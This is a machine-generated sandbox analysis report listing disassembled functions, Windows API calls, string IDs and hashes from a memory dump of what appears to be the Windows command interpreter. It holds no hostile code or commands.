                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
                                                                                      • String ID:
                                                                                      • API String ID: 1826527819-0
                                                                                      • Opcode ID: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                                                      • Instruction ID: adee2bc8171a62fe4b3a3cc73c1ab3a8c90ee77085b6377f1421fb2146c58fe2
                                                                                      • Opcode Fuzzy Hash: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                                                      • Instruction Fuzzy Hash: B9012D32A08682DAF6047B25E4461B9FA61FF8A751FE4A174E64F06392DF3CA148C720
                                                                                      Function 00007FF78CF53060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF51EA0: wcschr.MSVCRT(?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF78CF70D54), ref: 00007FF78CF51EB3
                                                                                      • SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF78CF492AC), ref: 00007FF78CF530CA
                                                                                      • SetErrorMode.KERNELBASE ref: 00007FF78CF530DD
                                                                                      • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF530F6
                                                                                      • SetErrorMode.KERNELBASE ref: 00007FF78CF53106
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorMode$FullNamePathwcschr
                                                                                      • String ID:
                                                                                      • API String ID: 1464828906-0
                                                                                      • Opcode ID: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                                                      • Instruction ID: 748e04db3b5a92236b236819699fdbb30de42ef2f149bc8f0ed4f6850bdeb39e
                                                                                      • Opcode Fuzzy Hash: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                                                      • Instruction Fuzzy Hash: B831E023E0865282F621AF1AA40107EF661FB45B94FF59234EB4AC73D0DE7DE949C710
                                                                                      Function 00007FF78CF4CA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset
                                                                                      • String ID: onecore\base\cmd\maxpathawarestring.cpp
                                                                                      • API String ID: 2221118986-3416068913
                                                                                      • Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                                                      • Instruction ID: 7c5a25b3cbb3ab576e16c4f37784aeba65e0aee344a80fdf7be7ca0bd8474e6e
                                                                                      • Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
                                                                                      • Instruction Fuzzy Hash: 3C11C623A0868281FF54EB55E1556B9A290BF88BE4FB85231EF6D8B7D5DE3CD140C320
                                                                                      Function 00007FF78CF4BE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memsetwcschr
                                                                                      • String ID: 2$COMSPEC
                                                                                      • API String ID: 1764819092-1738800741
                                                                                      • Opcode ID: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                                                      • Instruction ID: 268857788ddabff476dbe724d8344338c34609b7924fc8abba22aeedb70a4144
                                                                                      • Opcode Fuzzy Hash: b9ab5f7dc9e1de4fb73340b4936d8faa2c9ba4b21260c8514921b1ab44a1c5e6
                                                                                      • Instruction Fuzzy Hash: 5D517223A08A4385FB74BB25A441BB9E395BF84B84FA44031DA0D8A6D7DE3CE444C761
                                                                                      Function 00007FF78CF52EFC Relevance: 4.6, APIs: 3, Instructions: 101COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$ErrorFileFindFirstLastwcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 4254246844-0
                                                                                      • Opcode ID: 957b6616a90fc8dff72bb369af8d616d7be4d88c64500895f40bc219e0b26270
                                                                                      • Instruction ID: cbe94718a912acaf3118e246b11cfa8fc1f920ea2c685aca06cbc4f19d9c429f
                                                                                      • Opcode Fuzzy Hash: 957b6616a90fc8dff72bb369af8d616d7be4d88c64500895f40bc219e0b26270
                                                                                      • Instruction Fuzzy Hash: 5D41A323A09B4286FE20AB04E445379EBA0FF85B94FE49531DB4D87785DF3CE645C620
                                                                                      Function 00007FF78CF5498C Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$EnvironmentFreeProcessVariable
                                                                                      • String ID:
                                                                                      • API String ID: 2643372051-0
                                                                                      • Opcode ID: 49892fdbdbb93a03844bd16286cde042899f8d20c3c19ceaef7f6d70d853aae3
                                                                                      • Instruction ID: af10dcce2f74a43c7157d7a57108a1b72758eeb0a87e7d03b5c165e5b6f9a812
                                                                                      • Opcode Fuzzy Hash: 49892fdbdbb93a03844bd16286cde042899f8d20c3c19ceaef7f6d70d853aae3
                                                                                      • Instruction Fuzzy Hash: 4FF0D663A19B8282FB00AB25F505074EAE1FF4D7A0BA5D334D62E43390DE3C9444C220
                                                                                      Function 00007FF78CF55A68 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _get_osfhandle$ConsoleMode
                                                                                      • String ID:
                                                                                      • API String ID: 1591002910-0
                                                                                      • Opcode ID: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                                                      • Instruction ID: cb6ed481bedb2bc2c10ea58dedd6159d6c1a71890c439011e4929d445a467592
                                                                                      • Opcode Fuzzy Hash: cc4878986f4e42514252d7eb877981450ae5bf52a0b27ba4d12556fbaf1eff51
                                                                                      • Instruction Fuzzy Hash: D4F07A36A19643DBF604AB10E9450B8BBE0FB89711FA48274D90E53320DF3CA415CB21
                                                                                      Function 00007FF78CF5291C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: DriveType
                                                                                      • String ID: :
                                                                                      • API String ID: 338552980-336475711
                                                                                      • Opcode ID: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                                                      • Instruction ID: 1e89a2c877e1f126682fe3effbdd17238ae6c4fb1a19ee18b254f2a2ace286a2
                                                                                      • Opcode Fuzzy Hash: 3bcdc316eb0a86f33f1a800567ff16fc16a0090fe1dc924e7a0720ee54c15b7d
                                                                                      • Instruction Fuzzy Hash: 7BE06D6761864087E720AB60E45206AF7A0FB8D358FD51525EA9D83724DB3CD249CF18
                                                                                      Function 00007FF78CF55AD8 Relevance: 3.1, APIs: 2, Instructions: 93COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                        • Part of subcall function 00007FF78CF4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      • GetConsoleTitleW.KERNELBASE ref: 00007FF78CF55B52
                                                                                        • Part of subcall function 00007FF78CF54224: InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF54297
                                                                                        • Part of subcall function 00007FF78CF54224: UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF542D7
                                                                                        • Part of subcall function 00007FF78CF54224: memset.MSVCRT ref: 00007FF78CF542FD
                                                                                        • Part of subcall function 00007FF78CF54224: memset.MSVCRT ref: 00007FF78CF54368
                                                                                        • Part of subcall function 00007FF78CF54224: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF54380
                                                                                        • Part of subcall function 00007FF78CF54224: wcsrchr.MSVCRT ref: 00007FF78CF543E6
                                                                                        • Part of subcall function 00007FF78CF54224: lstrcmpW.KERNELBASE ref: 00007FF78CF54401
                                                                                      • GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF78CF55BC7
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$AttributeConsoleHeapProcThreadTitlewcsrchr$AllocInfoInitializeListProcessStartupUpdate_wcsnicmplstrcmpwcschr
                                                                                      • String ID:
                                                                                      • API String ID: 497088868-0
                                                                                      • Opcode ID: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                                                      • Instruction ID: aafbc7f386aa7cea5212cb13352bc5dfb80bf1668c41f1e0bb123b0b7fa6943e
                                                                                      • Opcode Fuzzy Hash: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
                                                                                      • Instruction Fuzzy Hash: F5318522B0CA4292FA24B721A45557DE291FF89B80FE45031FB4EC7B95DE3CE605C720
                                                                                      Function 00007FF78CF59A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Concurrency::cancel_current_taskmalloc
                                                                                      • String ID:
                                                                                      • API String ID: 1412018758-0
                                                                                      • Opcode ID: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                                                      • Instruction ID: 4d8c7df15270b6febd15dabf9ee29f4d96de14146cb3699633fa0a1a759e77a7
                                                                                      • Opcode Fuzzy Hash: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
                                                                                      • Instruction Fuzzy Hash: 89E0ED46F5964B91FE1D3B6268421749354BF59741FBC6430DF1D85382EE2DA3A6C330
                                                                                      Function 00007FF78CF4CD90 Relevance: 2.5, APIs: 2, Instructions: 30memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcess
                                                                                      • String ID:
                                                                                      • API String ID: 1617791916-0
                                                                                      • Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                                                      • Instruction ID: e19e6347bf94a1127a764e8b59e19068cbbd9237f772cfcdbbb4f9f91a5c6cdb
                                                                                      • Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                                                      • Instruction Fuzzy Hash: 3EF03133A1864287FB04AB15F840478F7E0FB99B41BA89434EA0E47354DF3CE545C710
                                                                                      Function 00007FF78CF54C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: exit
                                                                                      • String ID:
                                                                                      • API String ID: 2483651598-0
                                                                                      • Opcode ID: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                                                      • Instruction ID: 1c4875812311f5d25040c2ce2e5151283fba8bfb8e11de0e41dd15dc96123546
                                                                                      • Opcode Fuzzy Hash: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                                                      • Instruction Fuzzy Hash: A7C0803370864647FB1C7731245507D9D547F48301F54643CC717C1381DD2CD408C210
                                                                                      Function 00007FF78CF55508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: DefaultUser
                                                                                      • String ID:
                                                                                      • API String ID: 3358694519-0
                                                                                      • Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                                                      • Instruction ID: 0b7c3b2cf075e85fe8fc829f526e1d10504bf3c9eef7a96c0b9930c0eae05d2c
                                                                                      • Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                                                      • Instruction Fuzzy Hash: 84E02BA3D18A93CBF5543FC160423B49953FB78782FE44031F70D812C8CD2D6A41D228
                                                                                      Function 00007FF78CF52E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset
                                                                                      • String ID:
                                                                                      • API String ID: 2221118986-0
                                                                                      • Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                                                      • Instruction ID: a370ffb27d02c06d32a36b6255250c0f430410066d3c3093a5f9a27a920390d9
                                                                                      • Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                                                      • Instruction Fuzzy Hash: 9BF0B422B0978141FE449B56B5411699291AB48BE0FA88334EB7C87BC9DE3CD552C700

                                                                                      Non-executed Functions

                                                                                      Function 00007FF78CF45B70 Relevance: 158.5, APIs: 70, Strings: 20, Instructions: 1037memorythreadprocessCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmp$AttributeHeapProcThread$ErrorHandleLast$ListProcessmemset$towupper$CloseConsoleCtrlDeleteFreeHandlerInitializeUpdateiswspacewcschr$AllocCreateInfoStartup_wcsnicmp
                                                                                      • String ID: $ /K $ /K %s$"%s"$.LNK$ABOVENORMAL$AFFINITY$BELOWNORMAL$COMSPEC$HIGH$LOW$MAX$MIN$NEWWINDOW$NODE$NORMAL$REALTIME$SEPARATE$SHARED$WAIT
                                                                                      • API String ID: 1388555566-2647954630
                                                                                      • Opcode ID: 5bfa848c86ea83563edc3798e9b62a89bffd279fb50d3622c784112f9d8a1b0e
                                                                                      • Instruction ID: d606e1ef61a5983d9a5cddf09d5e80fcc22337ebe3459ac2e0adb391551540bb
                                                                                      • Opcode Fuzzy Hash: 5bfa848c86ea83563edc3798e9b62a89bffd279fb50d3622c784112f9d8a1b0e
                                                                                      • Instruction Fuzzy Hash: BBA2B833A0878286FB14AB25E4146B9FBA1FF89B44FA49135EA0E47795DF3CE548C710
                                                                                      Function 00007FF78CF4E680 Relevance: 79.4, APIs: 39, Strings: 6, Instructions: 696COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
